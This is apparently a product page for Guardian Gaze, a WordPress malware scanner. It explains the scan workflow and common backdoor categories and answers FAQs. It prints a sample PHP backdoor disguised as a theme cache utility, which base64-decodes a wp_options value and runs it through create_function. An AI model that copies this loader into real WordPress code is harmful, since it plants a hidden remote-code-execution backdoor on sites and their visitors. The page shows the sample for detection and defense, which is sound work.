Guardian Gaze runs inside your WordPress install. It reads your files and database the same way an attacker reads them, looking for code that doesn't make sense as legitimate functionality. Here's exactly how it works, end to end.
Every Guardian Gaze workflow follows the same path. No surprises, no silent actions, and an off-ramp to expert help when you need it.
mu-plugins and your database. Lightweight; safe on production.A representative example based on real-world WordPress compromises. Here's the file. Here's exactly how Guardian Gaze reasons about it, and why traditional scanners typically don't.
1<?php2/**3 * Theme cache utility, auto-rotates daily.4 */56if (!defined('ABSPATH')) exit;78$k = get_option('_theme_cache_v2');9if ($k && strlen($k) > 100) {10 $d = base64_decode($k);11 create_function('', $d)();12}1314function theme_cache_clear() {15 wp_cache_flush();16}
base64_decode and create_function appear in many legitimate themes. Rule-based scanners often skip patterns this generic to avoid false positives._theme_cache_v2 in wp_options.Categories drawn from real cases the RedSecLabs research team has investigated. These are the patterns most likely to slip past traditional scanning.
Base64, ROT13 and gzinflate layers wrapped around an eval. Each layer changes the signature; the behaviour stays identical.
Legitimate-looking plugins with malicious payloads injected into their update routines. The plugin still works, the backdoor still runs.
Payloads stored as wp_options rows and executed on every page load. File scanners see nothing wrong.
An innocent first file downloads the real malware once deployed. Static analysis on stage one looks clean. Stage two is what runs.
Code that only activates with a specific cookie, user-agent or referrer. Scanners running locally never trigger the malicious branch.
Must-use plugins load on every request and are often overlooked during manual cleanup. Guardian Gaze includes them in its scan coverage.
Each scan walks the full WordPress install, files and database, so payloads can't hide in folders that other scanners skip or layers other scanners don't read.
Full tree, including the parts attackers prefer
mu-plugins directoryWhere modern WordPress malware likes to live
wp_options rows with encoded payloadsScanning is read-only by default. Guardian Gaze does not modify, delete or quarantine any file or database row without your explicit sign-off, and even then, it asks before each action. Running a scan on a production site is safe.
No, it complements them. Perimeter firewalls and signature scanners are good at what they do; Guardian Gaze adds code-level reasoning inside your WordPress install. The strongest setups combine all three.
Only minimal security metadata: admin email, site URL, plugin and malware definition versions, IP addresses related to security events, and (if you opt in) scheduled-scan report data. Passwords and sensitive content are never transmitted. All external API calls use HTTPS.
When a file or database row contains patterns that traditional rules can't classify confidently (e.g. dynamic code execution, encoded payloads, unusual data flow), Guardian Gaze sends the relevant code structure to an analysis layer that reasons about whether that pattern has a legitimate explanation, and produces a plain-English summary you can read.
Yes, this is one of the most common reasons people install it. Run a full scan, review the findings, and quarantine or remove what's suspicious. For severe compromises, you can request a RedSecLabs expert review as a paid add-on.
Yes. The free plugin runs full file and database scans with plain-English reasoning on one site, available directly from the official WordPress plugin directory. See plans →
Install Guardian Gaze, register an email, run your first scan. Every finding is explained before anything is touched. Free. No card. No commitment.